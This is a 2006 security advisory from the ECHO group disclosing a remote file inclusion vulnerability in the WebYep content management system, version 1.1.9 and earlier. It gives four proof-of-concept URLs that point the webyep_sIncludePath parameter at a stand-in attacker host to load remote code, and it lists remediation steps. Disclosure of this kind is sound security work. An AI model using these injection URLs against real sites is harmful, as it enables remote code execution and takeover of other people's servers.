AOH :: HP Unsorted W :: B06-5123.HTM

WebYep <= 1.1.9 (webyep_sIncludePath) Multiple Remote File Inclusion Vulnerability



WebYep <= 1.1.9 (webyep_sIncludePath) Multiple Remote File Inclusion Vulnerability
WebYep <= 1.1.9 (webyep_sIncludePath) Multiple Remote File Inclusion Vulnerability



ECHO_ADV_48$2006

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[ECHO_ADV_48$2006] WebYep <= 1.1.9 (webyep_sIncludePath) Multiple Remote File Inclusion Vulnerability
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Author		: Dedi Dwianto a.k.a the_day
Date Found	: October, 05th 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv48-theday-2006.txt 
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: WebYep
version		: <=1.1.9
URL		: http://www.obdev.at 

WebYep is a compact Web Content Management System for extremely simple creation of editable 
web pages. It is a low priced alternative for small to medium web sites
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Vulnerability:
~~~~~~~~~~~~~~

In folder webyep-system/programm/lib found vulnerability script WYApplication.php
---------------------------WYApplication.php---------------------------------------
....
http://target.com/[webYep_path]/webyep-system/programm/lib/WYApplication.php?webyep_sIncludePath=http://attacker.com/inject.txt? 
http://target.com/[webYep_path]/webyep-system/programm/lib/WYDocument.php?webyep_sIncludePath=http://attacker.com/inject.txt? 
http://target.com/[webYep_path]/webyep-system/programm/webyep.php?webyep_sIncludePath=http://attacker.com/inject.txt? 
http://target.com/[webYep_path]/webyep-system/programm/elements/WYGalleryElement.php?webyep_sIncludePath=http://attacker.com/inject.txt? 

Solution:
~~~~~~~
- Sanitize variable $webyep_sIncludePath on affected files.
- Turn off register_globals

Timeline:
~~~~~~~
05 - 10 - 2006 Bugs Found
05 - 10 - 2006 Vendor Contact
09 - 10 - Public Disclosure

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Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,boom_3x,mathdule,angelia
~ newbie_hacker@yahoogroups.com 
~ #aikmel - #e-c-h-o @irc.dal.net 
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---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
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